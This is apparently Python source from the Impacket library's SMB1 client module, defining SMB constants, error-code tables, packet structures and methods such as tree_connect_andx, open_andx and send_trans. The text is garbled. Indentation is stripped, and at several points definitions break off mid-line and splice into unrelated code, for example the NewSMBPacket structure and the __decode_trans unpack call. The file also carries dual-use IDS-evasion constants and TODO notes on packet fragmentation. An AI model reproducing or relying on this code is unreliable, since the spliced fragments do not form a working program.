# Altered source done by Alberto Solino (@agsolino)
# Todo:
# [ ] Try [SMB]transport fragmentation using Transact requests
# [ ] Try other methods of doing write (write_raw, transact2, write, write_and_unlock, write_and_close, write_mpx)
# [-] Try replacements for SMB_COM_NT_CREATE_ANDX (CREATE, T_TRANSACT_CREATE, OPEN_ANDX works
# [x] Fix forceWriteAndx, which needs to send a RecvRequest, because recv() will not send it
# [x] Fix Recv() when using RecvAndx and the answer comes splet in several packets
# [ ] Try [SMB]transport fragmentation with overlaping segments
# [ ] Try [SMB]transport fragmentation with out of order segments
# [x] Do chained AndX requests
# [ ] Transform the rest of the calls to structure
# [X] Implement TRANS/TRANS2 reassembly for list_path
import os
import socket
import string
from binascii import a2b_hex
import datetime
from struct import pack, unpack
from contextlib import contextmanager
from impacket import nmb, ntlm, nt_errors, LOG
from impacket.structure import Structure
from impacket.spnego import SPNEGO_NegTokenInit, TypesMech, SPNEGO_NegTokenResp
# For signing
import hashlib
unicode_support = 0
unicode_convert = 1
try:
from cStringIO import StringIO
except ImportError:
from StringIO import StringIO
# Dialect for SMB1
SMB_DIALECT = 'NT LM 0.12'
# Shared Device Type
SHARED_DISK = 0x00
SHARED_DISK_HIDDEN = 0x80000000
SHARED_PRINT_QUEUE = 0x01
SHARED_DEVICE = 0x02
SHARED_IPC = 0x03
# Extended attributes mask
ATTR_ARCHIVE = 0x020
ATTR_COMPRESSED = 0x800
ATTR_NORMAL = 0x080
ATTR_HIDDEN = 0x002
ATTR_READONLY = 0x001
ATTR_TEMPORARY = 0x100
ATTR_DIRECTORY = 0x010
ATTR_SYSTEM = 0x004
# Service Type
SERVICE_DISK = 'A:'
SERVICE_PRINTER = 'LPT1:'
SERVICE_IPC = 'IPC'
SERVICE_COMM = 'COMM'
SERVICE_ANY = '?????'
# Server Type (Can be used to mask with SMBMachine.get_type() or SMBDomain.get_type())
SV_TYPE_WORKSTATION = 0x00000001
SV_TYPE_SERVER = 0x00000002
SV_TYPE_SQLSERVER = 0x00000004
SV_TYPE_DOMAIN_CTRL = 0x00000008
SV_TYPE_DOMAIN_BAKCTRL = 0x00000010
SV_TYPE_TIME_SOURCE = 0x00000020
SV_TYPE_AFP = 0x00000040
SV_TYPE_NOVELL = 0x00000080
SV_TYPE_DOMAIN_MEMBER = 0x00000100
SV_TYPE_PRINTQ_SERVER = 0x00000200
SV_TYPE_DIALIN_SERVER = 0x00000400
SV_TYPE_XENIX_SERVER = 0x00000800
SV_TYPE_NT = 0x00001000
SV_TYPE_WFW = 0x00002000
SV_TYPE_SERVER_NT = 0x00004000
SV_TYPE_POTENTIAL_BROWSER = 0x00010000
SV_TYPE_BACKUP_BROWSER = 0x00020000
SV_TYPE_MASTER_BROWSER = 0x00040000
SV_TYPE_DOMAIN_MASTER = 0x00080000
SV_TYPE_LOCAL_LIST_ONLY = 0x40000000
SV_TYPE_DOMAIN_ENUM = 0x80000000
# Options values for SMB.stor_file and SMB.retr_file
SMB_O_CREAT = 0x10 # Create the file if file does not exists. Otherwise, operation fails.
SMB_O_EXCL = 0x00 # When used with SMB_O_CREAT, operation fails if file exists. Cannot be used with SMB_O_OPEN.
SMB_O_OPEN = 0x01 # Open the file if the file exists
SMB_O_TRUNC = 0x02 # Truncate the file if the file exists
# Share Access Mode
SMB_SHARE_COMPAT = 0x00
SMB_SHARE_DENY_EXCL = 0x10
SMB_SHARE_DENY_WRITE = 0x20
SMB_SHARE_DENY_READEXEC = 0x30
SMB_SHARE_DENY_NONE = 0x40
SMB_ACCESS_READ = 0x00
SMB_ACCESS_WRITE = 0x01
SMB_ACCESS_READWRITE = 0x02
SMB_ACCESS_EXEC = 0x03
TRANS_DISCONNECT_TID = 1
TRANS_NO_RESPONSE = 2
STATUS_SUCCESS = 0x00000000
STATUS_LOGON_FAILURE = 0xC000006D
STATUS_LOGON_TYPE_NOT_GRANTED = 0xC000015B
MAX_TFRAG_SIZE = 5840
EVASION_NONE = 0
EVASION_LOW = 1
EVASION_HIGH = 2
EVASION_MAX = 3
RPC_X_BAD_STUB_DATA = 0x6F7
# SMB_FILE_ATTRIBUTES
SMB_FILE_ATTRIBUTE_NORMAL = 0x0000
SMB_FILE_ATTRIBUTE_READONLY = 0x0001
SMB_FILE_ATTRIBUTE_HIDDEN = 0x0002
SMB_FILE_ATTRIBUTE_SYSTEM = 0x0004
SMB_FILE_ATTRIBUTE_VOLUME = 0x0008
SMB_FILE_ATTRIBUTE_DIRECTORY = 0x0010
SMB_FILE_ATTRIBUTE_ARCHIVE = 0x0020
SMB_SEARCH_ATTRIBUTE_READONLY = 0x0100
SMB_SEARCH_ATTRIBUTE_HIDDEN = 0x0200
SMB_SEARCH_ATTRIBUTE_SYSTEM = 0x0400
SMB_SEARCH_ATTRIBUTE_DIRECTORY = 0x1000
SMB_SEARCH_ATTRIBUTE_ARCHIVE = 0x2000
# Session SetupAndX Action flags
SMB_SETUP_GUEST = 0x01
SMB_SETUP_USE_LANMAN_KEY = 0x02
# QUERY_INFORMATION levels
SMB_INFO_ALLOCATION = 0x0001
SMB_INFO_VOLUME = 0x0002
FILE_FS_SIZE_INFORMATION = 0x0003
SMB_QUERY_FS_VOLUME_INFO = 0x0102
SMB_QUERY_FS_SIZE_INFO = 0x0103
SMB_QUERY_FILE_EA_INFO = 0x0103
SMB_QUERY_FS_DEVICE_INFO = 0x0104
SMB_QUERY_FS_ATTRIBUTE_INFO = 0x0105
SMB_QUERY_FILE_BASIC_INFO = 0x0101
SMB_QUERY_FILE_STANDARD_INFO = 0x0102
SMB_QUERY_FILE_ALL_INFO = 0x0107
FILE_FS_FULL_SIZE_INFORMATION = 0x03EF
# SET_INFORMATION levels
SMB_SET_FILE_DISPOSITION_INFO = 0x0102
SMB_SET_FILE_BASIC_INFO = 0x0101
SMB_SET_FILE_END_OF_FILE_INFO = 0x0104
# File System Attributes
FILE_CASE_SENSITIVE_SEARCH = 0x00000001
FILE_CASE_PRESERVED_NAMES = 0x00000002
FILE_UNICODE_ON_DISK = 0x00000004
FILE_PERSISTENT_ACLS = 0x00000008
FILE_FILE_COMPRESSION = 0x00000010
FILE_VOLUME_IS_COMPRESSED = 0x00008000
# FIND_FIRST2 flags and levels
SMB_FIND_CLOSE_AFTER_REQUEST = 0x0001
SMB_FIND_CLOSE_AT_EOS = 0x0002
SMB_FIND_RETURN_RESUME_KEYS = 0x0004
SMB_FIND_CONTINUE_FROM_LAST = 0x0008
SMB_FIND_WITH_BACKUP_INTENT = 0x0010
FILE_DIRECTORY_FILE = 0x00000001
FILE_DELETE_ON_CLOSE = 0x00001000
FILE_NON_DIRECTORY_FILE = 0x00000040
SMB_FIND_INFO_STANDARD = 0x0001
SMB_FIND_FILE_DIRECTORY_INFO = 0x0101
SMB_FIND_FILE_FULL_DIRECTORY_INFO= 0x0102
SMB_FIND_FILE_NAMES_INFO = 0x0103
SMB_FIND_FILE_BOTH_DIRECTORY_INFO= 0x0104
SMB_FIND_FILE_ID_FULL_DIRECTORY_INFO = 0x105
SMB_FIND_FILE_ID_BOTH_DIRECTORY_INFO = 0x106
# DesiredAccess flags
FILE_READ_DATA = 0x00000001
FILE_WRITE_DATA = 0x00000002
FILE_APPEND_DATA = 0x00000004
FILE_EXECUTE = 0x00000020
MAXIMUM_ALLOWED = 0x02000000
GENERIC_ALL = 0x10000000
GENERIC_EXECUTE = 0x20000000
GENERIC_WRITE = 0x40000000
GENERIC_READ = 0x80000000
# ShareAccess flags
FILE_SHARE_NONE = 0x00000000
FILE_SHARE_READ = 0x00000001
FILE_SHARE_WRITE = 0x00000002
FILE_SHARE_DELETE = 0x00000004
# CreateDisposition flags
FILE_SUPERSEDE = 0x00000000
FILE_OPEN = 0x00000001
FILE_CREATE = 0x00000002
FILE_OPEN_IF = 0x00000003
FILE_OVERWRITE = 0x00000004
FILE_OVERWRITE_IF = 0x00000005
def strerror(errclass, errcode):
if errclass == 0x01:
return 'OS error', ERRDOS.get(errcode, 'Unknown error')
elif errclass == 0x02:
return 'Server error', ERRSRV.get(errcode, 'Unknown error')
elif errclass == 0x03:
return 'Hardware error', ERRHRD.get(errcode, 'Unknown error')
# This is not a standard error class for SMB
#elif errclass == 0x80:
# return 'Browse error', ERRBROWSE.get(errcode, 'Unknown error')
elif errclass == 0xff:
return 'Bad command', 'Bad command. Please file bug report'
else:
return 'Unknown error', 'Unknown error'
# Raised when an error has occured during a session
class SessionError(Exception):
# SMB X/Open error codes for the ERRDOS error class
ERRsuccess = 0
ERRbadfunc = 1
ERRbadfile = 2
ERRbadpath = 3
ERRnofids = 4
ERRnoaccess = 5
ERRbadfid = 6
ERRbadmcb = 7
ERRnomem = 8
ERRbadmem = 9
ERRbadenv = 10
ERRbadaccess = 12
ERRbaddata = 13
ERRres = 14
ERRbaddrive = 15
ERRremcd = 16
ERRdiffdevice = 17
ERRnofiles = 18
ERRgeneral = 31
ERRbadshare = 32
ERRlock = 33
ERRunsup = 50
ERRnetnamedel = 64
ERRnosuchshare = 67
ERRfilexists = 80
ERRinvalidparam = 87
ERRcannotopen = 110
ERRinsufficientbuffer = 122
ERRinvalidname = 123
ERRunknownlevel = 124
ERRnotlocked = 158
ERRrename = 183
ERRbadpipe = 230
ERRpipebusy = 231
ERRpipeclosing = 232
ERRnotconnected = 233
ERRmoredata = 234
ERRnomoreitems = 259
ERRbaddirectory = 267
ERReasnotsupported = 282
ERRlogonfailure = 1326
ERRbuftoosmall = 2123
ERRunknownipc = 2142
ERRnosuchprintjob = 2151
ERRinvgroup = 2455
# here's a special one from observing NT
ERRnoipc = 66
# These errors seem to be only returned by the NT printer driver system
ERRdriveralreadyinstalled = 1795
ERRunknownprinterport = 1796
ERRunknownprinterdriver = 1797
ERRunknownprintprocessor = 1798
ERRinvalidseparatorfile = 1799
ERRinvalidjobpriority = 1800
ERRinvalidprintername = 1801
ERRprinteralreadyexists = 1802
ERRinvalidprintercommand = 1803
ERRinvaliddatatype = 1804
ERRinvalidenvironment = 1805
ERRunknownprintmonitor = 3000
ERRprinterdriverinuse = 3001
ERRspoolfilenotfound = 3002
ERRnostartdoc = 3003
ERRnoaddjob = 3004
ERRprintprocessoralreadyinstalled = 3005
ERRprintmonitoralreadyinstalled = 3006
ERRinvalidprintmonitor = 3007
ERRprintmonitorinuse = 3008
ERRprinterhasjobsqueued = 3009
# Error codes for the ERRSRV class
ERRerror = 1
ERRbadpw = 2
ERRbadtype = 3
ERRaccess = 4
ERRinvnid = 5
ERRinvnetname = 6
ERRinvdevice = 7
ERRqfull = 49
ERRqtoobig = 50
ERRinvpfid = 52
ERRsmbcmd = 64
ERRsrverror = 65
ERRfilespecs = 67
ERRbadlink = 68
ERRbadpermits = 69
ERRbadpid = 70
ERRsetattrmode = 71
ERRpaused = 81
ERRmsgoff = 82
ERRnoroom = 83
ERRrmuns = 87
ERRtimeout = 88
ERRnoresource = 89
ERRtoomanyuids = 90
ERRbaduid = 91
ERRuseMPX = 250
ERRuseSTD = 251
ERRcontMPX = 252
ERRbadPW = None
ERRnosupport = 0
ERRunknownsmb = 22
# Error codes for the ERRHRD class
ERRnowrite = 19
ERRbadunit = 20
ERRnotready = 21
ERRbadcmd = 22
ERRdata = 23
ERRbadreq = 24
ERRseek = 25
ERRbadmedia = 26
ERRbadsector = 27
ERRnopaper = 28
ERRwrite = 29
ERRread = 30
ERRwrongdisk = 34
ERRFCBunavail = 35
ERRsharebufexc = 36
ERRdiskfull = 39
hard_msgs = {
19: ("ERRnowrite", "Attempt to write on write-protected diskette."),
20: ("ERRbadunit", "Unknown unit."),
21: ("ERRnotready", "Drive not ready."),
22: ("ERRbadcmd", "Unknown command."),
23: ("ERRdata", "Data error (CRC)."),
24: ("ERRbadreq", "Bad request structure length."),
25: ("ERRseek", "Seek error."),
26: ("ERRbadmedia", "Unknown media type."),
27: ("ERRbadsector", "Sector not found."),
28: ("ERRnopaper", "Printer out of paper."),
29: ("ERRwrite", "Write fault."),
30: ("ERRread", "Read fault."),
31: ("ERRgeneral", "General failure."),
32: ("ERRbadshare", "An open conflicts with an existing open."),
33: ("ERRlock", "A Lock request conflicted with an existing lock or specified an invalid mode, or an Unlock requested attempted to remove a lock held by another process."),
34: ("ERRwrongdisk", "The wrong disk was found in a drive."),
35: ("ERRFCBUnavail", "No FCBs are available to process request."),
36: ("ERRsharebufexc", "A sharing buffer has been exceeded.")
}
dos_msgs = {
ERRbadfunc: ("ERRbadfunc", "Invalid function."),
ERRbadfile: ("ERRbadfile", "File not found."),
ERRbadpath: ("ERRbadpath", "Directory invalid."),
ERRnofids: ("ERRnofids", "No file descriptors available"),
ERRnoaccess: ("ERRnoaccess", "Access denied."),
ERRbadfid: ("ERRbadfid", "Invalid file handle."),
ERRbadmcb: ("ERRbadmcb", "Memory control blocks destroyed."),
ERRnomem: ("ERRnomem", "Insufficient server memory to perform the requested function."),
ERRbadmem: ("ERRbadmem", "Invalid memory block address."),
ERRbadenv: ("ERRbadenv", "Invalid environment."),
11: ("ERRbadformat", "Invalid format."),
ERRbadaccess: ("ERRbadaccess", "Invalid open mode."),
ERRbaddata: ("ERRbaddata", "Invalid data."),
ERRres: ("ERRres", "reserved."),
ERRbaddrive: ("ERRbaddrive", "Invalid drive specified."),
ERRremcd: ("ERRremcd", "A Delete Directory request attempted to remove the server's current directory."),
ERRdiffdevice: ("ERRdiffdevice", "Not same device."),
ERRnofiles: ("ERRnofiles", "A File Search command can find no more files matching the specified criteria."),
ERRbadshare: ("ERRbadshare", "The sharing mode specified for an Open conflicts with existing FIDs on the file."),
ERRlock: ("ERRlock", "A Lock request conflicted with an existing lock or specified an invalid mode, or an Unlock requested attempted to remove a lock held by another process."),
ERRunsup: ("ERRunsup", "The operation is unsupported"),
ERRnosuchshare: ("ERRnosuchshare", "You specified an invalid share name"),
ERRfilexists: ("ERRfilexists", "The file named in a Create Directory, Make New File or Link request already exists."),
ERRinvalidname: ("ERRinvalidname", "Invalid name"),
ERRbadpipe: ("ERRbadpipe", "Pipe invalid."),
ERRpipebusy: ("ERRpipebusy", "All instances of the requested pipe are busy."),
ERRpipeclosing: ("ERRpipeclosing", "Pipe close in progress."),
ERRnotconnected: ("ERRnotconnected", "No process on other end of pipe."),
ERRmoredata: ("ERRmoredata", "There is more data to be returned."),
ERRinvgroup: ("ERRinvgroup", "Invalid workgroup (try the -W option)"),
ERRlogonfailure: ("ERRlogonfailure", "Logon failure"),
ERRdiskfull: ("ERRdiskfull", "Disk full"),
ERRgeneral: ("ERRgeneral", "General failure"),
ERRunknownlevel: ("ERRunknownlevel", "Unknown info level")
}
server_msgs = {
1: ("ERRerror", "Non-specific error code."),
2: ("ERRbadpw", "Bad password - name/password pair in a Tree Connect or Session Setup are invalid."),
3: ("ERRbadtype", "reserved."),
4: ("ERRaccess", "The requester does not have the necessary access rights within the specified context for the requested function. The context is defined by the TID or the UID."),
5: ("ERRinvnid", "The tree ID (TID) specified in a command was invalid."),
6: ("ERRinvnetname", "Invalid network name in tree connect."),
7: ("ERRinvdevice", "Invalid device - printer request made to non-printer connection or non-printer request made to printer connection."),
49: ("ERRqfull", "Print queue full (files) -- returned by open print file."),
50: ("ERRqtoobig", "Print queue full -- no space."),
51: ("ERRqeof", "EOF on print queue dump."),
52: ("ERRinvpfid", "Invalid print file FID."),
64: ("ERRsmbcmd", "The server did not recognize the command received."),
65: ("ERRsrverror","The server encountered an internal error, e.g., system file unavailable."),
67: ("ERRfilespecs", "The file handle (FID) and pathname parameters contained an invalid combination of values."),
68: ("ERRreserved", "reserved."),
69: ("ERRbadpermits", "The access permissions specified for a file or directory are not a valid combination. The server cannot set the requested attribute."),
70: ("ERRreserved", "reserved."),
71: ("ERRsetattrmode", "The attribute mode in the Set File Attribute request is invalid."),
81: ("ERRpaused", "Server is paused."),
82: ("ERRmsgoff", "Not receiving messages."),
83: ("ERRnoroom", "No room to buffer message."),
87: ("ERRrmuns", "Too many remote user names."),
88: ("ERRtimeout", "Operation timed out."),
89: ("ERRnoresource", "No resources currently available for request."),
90: ("ERRtoomanyuids", "Too many UIDs active on this session."),
91: ("ERRbaduid", "The UID is not known as a valid ID on this session."),
250: ("ERRusempx","Temp unable to support Raw, use MPX mode."),
251: ("ERRusestd","Temp unable to support Raw, use standard read/write."),
252: ("ERRcontmpx", "Continue in MPX mode."),
253: ("ERRreserved", "reserved."),
254: ("ERRreserved", "reserved."),
0xFFFF: ("ERRnosupport", "Function not supported.")
}
# Error clases
ERRDOS = 0x1
error_classes = { 0: ("SUCCESS", {}),
ERRDOS: ("ERRDOS", dos_msgs),
0x02: ("ERRSRV",server_msgs),
0x03: ("ERRHRD",hard_msgs),
0x04: ("ERRXOS", {} ),
0xE1: ("ERRRMX1", {} ),
0xE2: ("ERRRMX2", {} ),
0xE3: ("ERRRMX3", {} ),
0xFF: ("ERRCMD", {} ) }
def __init__( self, error_string, error_class, error_code, nt_status = 0):
Exception.__init__(self, error_string)
self.nt_status = nt_status
self._args = error_string
if nt_status:
self.error_class = 0
self.error_code = (error_code << 16) + error_class
else:
self.error_class = error_class
self.error_code = error_code
def get_error_class( self ):
return self.error_class
def get_error_code( self ):
return self.error_code
def __str__( self ):
error_class = SessionError.error_classes.get( self.error_class, None )
if not error_class:
error_code_str = self.error_code
error_class_str = self.error_class
else:
error_class_str = error_class[0]
error_code = error_class[1].get( self.error_code, None )
if not error_code:
error_code_str = self.error_code
else:
error_code_str = '%s(%s)' % error_code
if self.nt_status:
return 'SMB SessionError: %s(%s)' % nt_errors.ERROR_MESSAGES[self.error_code]
else:
# Fall back to the old format
return 'SMB SessionError: class: %s, code: %s' % (error_class_str, error_code_str)
# Raised when an supported feature is present/required in the protocol but is not
# currently supported by pysmb
class UnsupportedFeature(Exception): pass
# Contains information about a SMB shared device/service
class SharedDevice:
def __init__(self, name, share_type, comment):
self.__name = name
self.__type = share_type
self.__comment = comment
def get_name(self):
return self.__name
def get_type(self):
return self.__type
def get_comment(self):
return self.__comment
def __repr__(self):
return ''
# Contains information about the shared file/directory
class SharedFile:
def __init__(self, ctime, atime, mtime, filesize, allocsize, attribs, shortname, longname):
self.__ctime = ctime
self.__atime = atime
self.__mtime = mtime
self.__filesize = filesize
self.__allocsize = allocsize
self.__attribs = attribs
try:
self.__shortname = shortname[:string.index(shortname, '\0')]
except ValueError:
self.__shortname = shortname
try:
self.__longname = longname[:string.index(longname, '\0')]
except ValueError:
self.__longname = longname
def get_ctime(self):
return self.__ctime
def get_ctime_epoch(self):
return self.__convert_smbtime(self.__ctime)
def get_mtime(self):
return self.__mtime
def get_mtime_epoch(self):
return self.__convert_smbtime(self.__mtime)
def get_atime(self):
return self.__atime
def get_atime_epoch(self):
return self.__convert_smbtime(self.__atime)
def get_filesize(self):
return self.__filesize
def get_allocsize(self):
return self.__allocsize
def get_attributes(self):
return self.__attribs
def is_archive(self):
return self.__attribs & ATTR_ARCHIVE
def is_compressed(self):
return self.__attribs & ATTR_COMPRESSED
def is_normal(self):
return self.__attribs & ATTR_NORMAL
def is_hidden(self):
return self.__attribs & ATTR_HIDDEN
def is_readonly(self):
return self.__attribs & ATTR_READONLY
def is_temporary(self):
return self.__attribs & ATTR_TEMPORARY
def is_directory(self):
return self.__attribs & ATTR_DIRECTORY
def is_system(self):
return self.__attribs & ATTR_SYSTEM
def get_shortname(self):
return self.__shortname
def get_longname(self):
return self.__longname
def __repr__(self):
return ''
@staticmethod
def __convert_smbtime(t):
x = t >> 32
y = t & 0xffffffffL
geo_cal_offset = 11644473600.0 # = 369.0 * 365.25 * 24 * 60 * 60 - (3.0 * 24 * 60 * 60 + 6.0 * 60 * 60)
return (x * 4.0 * (1 << 30) + (y & 0xfff00000L)) * 1.0e-7 - geo_cal_offset
# Contain information about a SMB machine
class SMBMachine:
def __init__(self, nbname, nbt_type, comment):
self.__nbname = nbname
self.__type = nbt_type
self.__comment = comment
def __repr__(self):
return ''
class SMBDomain:
def __init__(self, nbgroup, domain_type, master_browser):
self.__nbgroup = nbgroup
self.__type = domain_type
self.__master_browser = master_browser
def __repr__(self):
return ''
# Represents a SMB Packet
class NewSMBPacket(Structure):
structure = (
('Signature', '"\xffSMB'),
('Command','B=0'),
('ErrorClass','B=0'),
('_reserved','B=0'),
('ErrorCode',' 0 else 1'),
('Password',':'),
('Path','u'),
('Service','z'),
)
class SMBTreeConnectAndXResponse_Data(AsciiOrUnicodeStructure):
AsciiStructure = (
('Service','z'),
('PadLen','_-Pad','self["PadLen"]'),
('Pad',':=""'),
('NativeFileSystem','z'),
)
UnicodeStructure = (
('Service','z'),
('PadLen','_-Pad','self["PadLen"]'),
('Pad',':=""'),
('NativeFileSystem','u'),
)
############# SMB_COM_NT_CREATE_ANDX (0xA2)
class SMBNtCreateAndX_Parameters(SMBAndXCommand_Parameters):
structure = (
('_reserved', 'B=0'),
('FileNameLength',' -1:
my_name = my_name[:i]
if UDP:
self._sess = nmb.NetBIOSUDPSession(my_name, remote_name, remote_host, host_type, sess_port, self.__timeout)
else:
self._sess = nmb.NetBIOSTCPSession(my_name, remote_name, remote_host, host_type, sess_port, self.__timeout)
# Initialize session values (_dialect_data and _dialect_parameters)
self.neg_session()
# Call login() without any authentication information to
# setup a session if the remote server
# is in share mode.
if (self._dialects_parameters['SecurityMode'] & SMB.SECURITY_SHARE_MASK) == SMB.SECURITY_SHARE_SHARE:
self.login('', '')
else:
self._sess = session
self.neg_session(negPacket = negPacket)
# Call login() without any authentication information to
# setup a session if the remote server
# is in share mode.
if (self._dialects_parameters['SecurityMode'] & SMB.SECURITY_SHARE_MASK) == SMB.SECURITY_SHARE_SHARE:
self.login('', '')
@staticmethod
def ntlm_supported():
return False
def get_remote_name(self):
return self.__remote_name
def get_remote_host(self):
return self.__remote_host
def get_flags(self):
return self.__flags1, self.__flags2
def set_flags(self, flags1=None, flags2=None):
if flags1 is not None:
self.__flags1 = flags1
if flags2 is not None:
self.__flags2 = flags2
def set_timeout(self, timeout):
prev_timeout = self.__timeout
self.__timeout = timeout
return prev_timeout
def get_timeout(self):
return self.__timeout
@contextmanager
def use_timeout(self, timeout):
prev_timeout = self.set_timeout(timeout)
try:
yield
finally:
self.set_timeout(prev_timeout)
def get_session(self):
return self._sess
def get_tid(self):
return self.tid
def get_fid(self):
return self.fid
def isGuestSession(self):
return self._action & SMB_SETUP_GUEST
def doesSupportNTLMv2(self):
return self.__isNTLMv2
def __del__(self):
if self._sess:
self._sess.close()
def recvSMB(self):
r = self._sess.recv_packet(self.__timeout)
return NewSMBPacket(data = r.get_trailer())
@staticmethod
def __decode_trans(params, data):
totparamcnt, totdatacnt, _, paramcnt, paramoffset, paramds, datacnt, dataoffset, datads, setupcnt = unpack(' 0:
# this code is untested
password = self.get_ntlmv1_response(ntlm.compute_lmhash(password))
if not unicode_support:
if unicode_convert:
path = str(path)
else:
raise Exception('SMB: Can\t conver path from unicode!')
smb = NewSMBPacket()
treeConnect = SMBCommand(SMB.SMB_COM_TREE_CONNECT)
treeConnect['Parameters'] = SMBTreeConnect_Parameters()
treeConnect['Data'] = SMBTreeConnect_Data()
treeConnect['Data']['Path'] = path.upper()
treeConnect['Data']['Password'] = password
treeConnect['Data']['Service'] = service
smb.addCommand(treeConnect)
self.sendSMB(smb)
while 1:
smb = self.recvSMB()
if smb.isValidAnswer(SMB.SMB_COM_TREE_CONNECT):
# XXX Here we are ignoring the rest of the response
return smb['Tid']
return smb['Tid']
def get_uid(self):
return self._uid
def set_uid(self, uid):
self._uid = uid
def tree_connect_andx(self, path, password = None, service = SERVICE_ANY, smb_packet=None):
if password:
# Password is only encrypted if the server passed us an "encryption" during protocol dialect
if self._dialects_parameters['ChallengeLength'] > 0:
# this code is untested
password = self.get_ntlmv1_response(ntlm.compute_lmhash(password))
else:
password = '\x00'
if not unicode_support:
if unicode_convert:
path = str(path)
else:
raise Exception('SMB: Can\t convert path from unicode!')
if smb_packet is None:
smb = NewSMBPacket()
else:
smb = smb_packet
# Just in case this came with the full path ,let's just leave
# the sharename, we'll take care of the rest
share = path.split('\\')[-1]
try:
_, _, _, _, sockaddr = socket.getaddrinfo(self.get_remote_host(), 80, 0, 0, socket.IPPROTO_TCP)[0]
remote_host = sockaddr[0]
except Exception:
remote_host = self.get_remote_host()
path = '\\\\' + remote_host + '\\' +share
path = path.upper().encode('utf-16le') if self.__flags2 & SMB.FLAGS2_UNICODE else path
treeConnect = SMBCommand(SMB.SMB_COM_TREE_CONNECT_ANDX)
treeConnect['Parameters'] = SMBTreeConnectAndX_Parameters()
treeConnect['Data'] = SMBTreeConnectAndX_Data(flags=self.__flags2)
treeConnect['Parameters']['PasswordLength'] = len(password)
treeConnect['Data']['Password'] = password
treeConnect['Data']['Path'] = path
treeConnect['Data']['Service'] = service
if self.__flags2 & SMB.FLAGS2_UNICODE:
treeConnect['Data']['Pad'] = 0x0
smb.addCommand(treeConnect)
# filename = "\PIPE\epmapper"
# ntCreate = SMBCommand(SMB.SMB_COM_NT_CREATE_ANDX)
# ntCreate['Parameters'] = SMBNtCreateAndX_Parameters()
# ntCreate['Data'] = SMBNtCreateAndX_Data()
# ntCreate['Parameters']['FileNameLength'] = len(filename)
# ntCreate['Parameters']['CreateFlags'] = 0
# ntCreate['Parameters']['AccessMask'] = 0x3
# ntCreate['Parameters']['CreateOptions'] = 0x0
# ntCreate['Data']['FileName'] = filename
# smb.addCommand(ntCreate)
self.sendSMB(smb)
while 1:
smb = self.recvSMB()
if smb.isValidAnswer(SMB.SMB_COM_TREE_CONNECT_ANDX):
# XXX Here we are ignoring the rest of the response
self.tid = smb['Tid']
return self.tid
self.tid = smb['Tid']
return self.tid
# backwars compatibility
connect_tree = tree_connect_andx
@staticmethod
def getDialect():
return SMB_DIALECT
def get_server_name(self):
#return self._dialects_data['ServerName']
return self.__server_name
def get_session_key(self):
return self._SigningSessionKey
def set_session_key(self, key):
self._SigningSessionKey = key
def get_encryption_key(self):
if self._dialects_data.fields.has_key('Challenge'):
return self._dialects_data['Challenge']
else:
return None
def get_server_time(self):
timestamp = self._dialects_parameters['HighDateTime']
timestamp <<= 32
timestamp |= self._dialects_parameters['LowDateTime']
timestamp -= 116444736000000000
timestamp /= 10000000
d = datetime.datetime.utcfromtimestamp(timestamp)
return d.strftime("%a, %d %b %Y %H:%M:%S GMT")
def disconnect_tree(self, tid):
smb = NewSMBPacket()
smb['Tid'] = tid
smb.addCommand(SMBCommand(SMB.SMB_COM_TREE_DISCONNECT))
self.sendSMB(smb)
self.recvSMB()
def open(self, tid, filename, open_mode, desired_access):
filename = string.replace(filename,'/', '\\')
filename = filename.encode('utf-16le') if self.__flags2 & SMB.FLAGS2_UNICODE else filename
smb = NewSMBPacket()
smb['Tid'] = tid
openFile = SMBCommand(SMB.SMB_COM_OPEN)
openFile['Parameters'] = SMBOpen_Parameters()
openFile['Parameters']['DesiredAccess'] = desired_access
openFile['Parameters']['OpenMode'] = open_mode
openFile['Parameters']['SearchAttributes'] = ATTR_READONLY | ATTR_HIDDEN | ATTR_ARCHIVE
openFile['Data'] = SMBOpen_Data(flags=self.__flags2)
openFile['Data']['FileName'] = filename
if self.__flags2 & SMB.FLAGS2_UNICODE:
openFile['Data']['Pad'] = 0x0
smb.addCommand(openFile)
self.sendSMB(smb)
smb = self.recvSMB()
if smb.isValidAnswer(SMB.SMB_COM_OPEN):
# XXX Here we are ignoring the rest of the response
openFileResponse = SMBCommand(smb['Data'][0])
openFileParameters = SMBOpenResponse_Parameters(openFileResponse['Parameters'])
return (
openFileParameters['Fid'],
openFileParameters['FileAttributes'],
openFileParameters['LastWriten'],
openFileParameters['FileSize'],
openFileParameters['GrantedAccess'],
)
def open_andx(self, tid, filename, open_mode, desired_access):
filename = string.replace(filename,'/', '\\')
filename = filename.encode('utf-16le') if self.__flags2 & SMB.FLAGS2_UNICODE else filename
smb = NewSMBPacket()
smb['Tid'] = tid
openFile = SMBCommand(SMB.SMB_COM_OPEN_ANDX)
openFile['Parameters'] = SMBOpenAndX_Parameters()
openFile['Parameters']['DesiredAccess'] = desired_access
openFile['Parameters']['OpenMode'] = open_mode
openFile['Parameters']['SearchAttributes'] = ATTR_READONLY | ATTR_HIDDEN | ATTR_ARCHIVE
openFile['Data'] = SMBOpenAndX_Data(flags=self.__flags2)
openFile['Data']['FileName'] = filename
if self.__flags2 & SMB.FLAGS2_UNICODE:
openFile['Data']['Pad'] = 0x0
smb.addCommand(openFile)
self.sendSMB(smb)
smb = self.recvSMB()
if smb.isValidAnswer(SMB.SMB_COM_OPEN_ANDX):
# XXX Here we are ignoring the rest of the response
openFileResponse = SMBCommand(smb['Data'][0])
openFileParameters = SMBOpenAndXResponse_Parameters(openFileResponse['Parameters'])
return (
openFileParameters['Fid'],
openFileParameters['FileAttributes'],
openFileParameters['LastWriten'],
openFileParameters['FileSize'],
openFileParameters['GrantedAccess'],
openFileParameters['FileType'],
openFileParameters['IPCState'],
openFileParameters['Action'],
openFileParameters['ServerFid'],
)
def close(self, tid, fid):
smb = NewSMBPacket()
smb['Tid'] = tid
closeFile = SMBCommand(SMB.SMB_COM_CLOSE)
closeFile['Parameters'] = SMBClose_Parameters()
closeFile['Parameters']['FID'] = fid
smb.addCommand(closeFile)
self.sendSMB(smb)
smb = self.recvSMB()
if smb.isValidAnswer(SMB.SMB_COM_CLOSE):
return 1
return 0
def send_trans(self, tid, setup, name, param, data, noAnswer = 0):
smb = NewSMBPacket()
smb['Tid'] = tid
transCommand = SMBCommand(SMB.SMB_COM_TRANSACTION)
transCommand['Parameters'] = SMBTransaction_Parameters()
transCommand['Data'] = SMBTransaction_Data()
transCommand['Parameters']['Setup'] = setup
transCommand['Parameters']['TotalParameterCount'] = len(param)
transCommand['Parameters']['TotalDataCount'] = len(data)
transCommand['Parameters']['ParameterCount'] = len(param)
